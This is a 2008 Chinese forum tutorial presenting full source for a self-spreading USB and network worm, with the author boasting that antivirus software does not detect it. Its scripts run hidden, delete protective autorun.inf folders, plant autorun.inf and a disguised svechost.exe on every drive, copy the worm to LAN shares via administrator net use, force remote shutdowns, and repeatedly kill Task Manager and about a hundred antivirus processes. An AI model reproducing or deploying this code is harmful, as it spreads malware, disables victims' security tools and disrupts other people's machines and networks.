<<浅谈新型自动运行传播病毒编程原理>>
声明:本程序杀软不会查杀,传播速度相当惊人,请不要恶意捆绑,用此程序后果自负!
1.fengzheng.js 用于隐藏运行fengzheng.bat
new ActiveXObject('WScript.Shell').Run('cmd /c fengzheng.bat',0);
2.fengzheng.bat 用于删除全盘免疫文件,并运行主程序svechost.exe!
@echo off
For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (
fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (
cacls "%%a:\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%%a:\autorun.inf" & rd /s /q "%%a:\autorun.inf">nul 2>nul
)>nul 2>nul
fsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (
cacls "%%a:\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%%a:\autorun.inf" & rd /s /q "%%a:\autorun.inf">nul 2>nul
)>nul 2>nul
)
cls
call svechost.exe
exit
3.svechost.exe 释放3个文件:
(1)autorun.inf 启动文件.
[AutoRun]
Shell\Open=打开
Shell\Open\Command=svechost.exe
Shell\Explore=资源管理器
Shell\Explore\Command=svechost.exe
(2)bat.bat 传播代码(全盘.局域网.服务器.网络).
@echo off
set hty1=%windir%\system32\
:sm
attrib -r -s -h %hty1%svechost.exe attrib -r -s -h %hty1%
autorun.inf
for %%i in (d e f g h i j k l m n o p q r s t u v w x y z) do
(
fsutil fsinfo drives | findstr /i %%i || goto attr
dir /a/b %%i:\autorun.inf && attrib -r -s -h %%
i:\autorun.inf
copy %hty1%autorun.inf %%i: attrib +r +s +h %%
i:\autorun.inf
dir /a/b %%i:\svechost.exe || (copy %hty1%svechost.exe %
%i: && attrib +r +s +h %%i:\svechost.exe)
)
:attr
attrib +r +s +h %hty1%svechost.exe & attrib +r +s +h %hty1%
autorun.inf
ipconfig /all |find /i "ip address" || (ping 127.1 -n 10 &&
goto sm)
for /f "tokens=15" %%i in ('ipconfig /all^|find /i "ip
address"') do (
for /f "tokens=1-3 delims=." %%a in ("%%i") do (
if %%a EQU 192 (
for /l %%e in (1,1,255) do (
ping %%a.%%b.%%c.%%e -n 1 -l 1 -w 1 &&(
for /f "skip=7 eol=命" %%t in ('net view \\
%%a.%%b.%%c.%%e') do (
if "%%t" NEQ "" (
net use [url=file://\\%%a.%%b.%%c.%%e\%%t]\\%%a.%%b.%%c.%%e\%%t[/url]
/u:administrator && (attrib -r -s -h %hty1%svechost.exe &&
copy %hty1%svechost.exe [url=file://\\%%a.%%b.%%c.%%e\%%t]\\%%a.%%b.%%c.%%e\%%t[/url] && attrib +r +s
+h %hty1%svechost.exe)
if "%%t" EQU "ipc$" shutdown -s -f -t 0
-m [url=file://\\%%a.%%b.%%c.%%e]\\%%a.%%b.%%c.%%e[/url]
)
))
)
) else ping 127.1 -n 20
)
)
regedit /s %windir%\system32\expl.reg>nul 2>nul
regedit /s %windir%\system32\high.reg>nul 2>nul
goto sm
(3)jzyx.vbs 结束或禁止运行杀软等...安全软件.
'备注：
'防止出现错误
On Error Resume Next
'vbs代码开始----------------------------------------------
do
set ws=getobject("winmgmts:\\.\root\cimv2")
set pp=ws.execquery("select * from win32_process where name='taskmgr.exe'or Name = 'avp.exe'or Name = '360rpt.exe'or Name = '360Safe.exe'or Name = '360tray.exe'or Name = 'adam.exe'or Name = 'AgentSvr.exe'or Name = 'AppSvc32.exe'or Name = 'autoruns.exe'or Name = 'avgrssvc.exe'or Name = 'AvMonitor.exe'or Name = 'avp.com'or Name = 'avp.exe'or Name = 'CCenter.exe'or Name = 'ccSvcHst.exe'or Name = 'FileDsty.exe'or Name = 'FTCleanerShell.exe'or Name = 'HijackThis.exe'or Name = 'IceSword.exe'or Name = 'iparmo.exe'or Name = 'Iparmor.exe'or Name = 'isPwdSvc.exe'or Name = 'kabaload.exe'or Name = 'KaScrScn.SCR'or Name = 'KASMain.exe'or Name = 'KASTask.exe'or Name = 'KAV32.exe'or Name = 'KAVDX.exe'or Name = 'KAVPFW.exe'or Name = 'KAVSetup.exe'or Name = 'KAVStart.exe'or Name = 'KISLnchr.exe'or Name = 'KMailMon.exe'or Name = 'KMFilter.exe'or Name = 'KPFW32.exe'or Name ='KPFW32X.exe'or Name ='KPFWSvc.exe'or Name ='KRegEx.exe'or Name ='KRepair.COM'or Name ='KsLoader.exe'or Name ='KvDetect.exe'or Name ='KvfwMcl.exe'or Name ='KVMonXP.kxp'or Name ='KVMonXP_1.kxp'or Name ='KVMonXP_1.kxp'or Name ='kvol.exe'or Name ='kvolself.exe'or Name ='KvReport.kxp'or Name ='KVScan.kxp'or Name ='KVSrvXP.exe'or Name ='KVStub.kxp'or Name ='kvupload.exe'or Name ='kvwsc.exe'or Name ='KvXP.kxp'or Name ='KvXP_1.kxp'or Name ='KWatch.exe'or Name ='KWatch9x.exe'or Name ='KWatchX.exe'or Name ='loaddll.exe'or Name ='MagicSet.exe'or Name ='mcconsol.exe'or Name ='mmqczj.exe'or Name ='mmsk.exe'or Name ='NAVSetup.exe'or Name ='nod32krn.exe'or Name ='nod32kui.exe'or Name ='PFW.exe'or Name ='PFWLiveUpdate.exe'or Name ='QHSET.exe'or Name ='Ras.exe'or Name ='Rav.exe'or Name ='RavMon.exe'or Name ='RavMonD.exe'or Name ='RavStub.exe'or Name ='RavTask.exe'or Name ='RegClean.exe'or Name ='rfwcfg.exe'or Name ='RfwMain.exe'or Name ='rfwProxy.exe'or Name ='rfwsrv.exe'or Name ='RsAgent.exe'or Name ='Rsaupd.exe'or Name ='runiep.exe'or Name ='safelive.exe'or Name ='scan32.exe'or Name ='shcfg32.exe'or Name ='SmartUp.exe'or Name ='SREng.exe'or Name ='symlcsvc.exe'or Name ='SysSafe.exe'or Name ='TrojanDetector.exe'or Name ='Trojanwall.exe'or Name ='TrojDie.kxp'or Name ='UIHost.exe'or Name ='UmxAgent.exe'or Name ='UmxAttachment.exe'or Name ='UmxCfg.exe'or Name ='UmxFwHlp.exe'or Name ='UmxPol.exe'or Name ='UpLive.EXE.exe'or Name ='WoptiClean.exe'or Name ='zxsweep.exe'or Name ='SRTask.exe'or Name ='VStart.exe'")
for each i in pp
i.terminate()
wscript.sleep 100
next
loop
'vbs代码结束----------------------------------------------
Private Sub Form_Load()
On Error Resume Next
Form1.Visible = False
App.TaskVisible = False '隐藏
Open App.Path & "\AutoRun.inf" For Output As #1 '写启动文件
Print #1, "[AutoRun]"
Print #1, "Shell\Open=打开"
Print #1, "Shell\Open\Command=svechost.exe"
Print #1, "Shell\Explore=资源管理器"
Print #1, "Shell\Explore\Command=svechost.exe"
Close #1
Open App.Path & "\bat.bat" For Output As #2 '传播代码(全盘.局域网.服务器.网络)
Print #2, Text1.Text
Close #2
FileCopy "svechost.exe", "C:\WINDOWS\system32\svechost.exe" '拷贝文件到指定位置
FileCopy "AutoRun.inf", "C:\WINDOWS\system32\AutoRun.inf"
Call SetAttr("autorun.inf", vbHidden) '设置文件为隐藏
Call SetAttr("svechost.exe", vbHidden)
Call SetAttr("bat.bat", vbHidden)
Dim byt() As Byte
Dim RemainDay As Long
byt() = LoadResData(101, "CUSTOM")
Open "C:\WINDOWS\system32\jzyx.vbs" For Binary As #1
Put #1, , byt()
Close #1
Shell App.Path & "\bat.bat", vbHide
Shell "cmd /c C:\WINDOWS\system32\jzyx.vbs", vbHide '调用外部VBS
End Sub
做这个教程是希望结交更多的编程好友,有好的代码不要忘了我!
dycmc@163.com
风 筝
2008年4月11日14:26:29
88
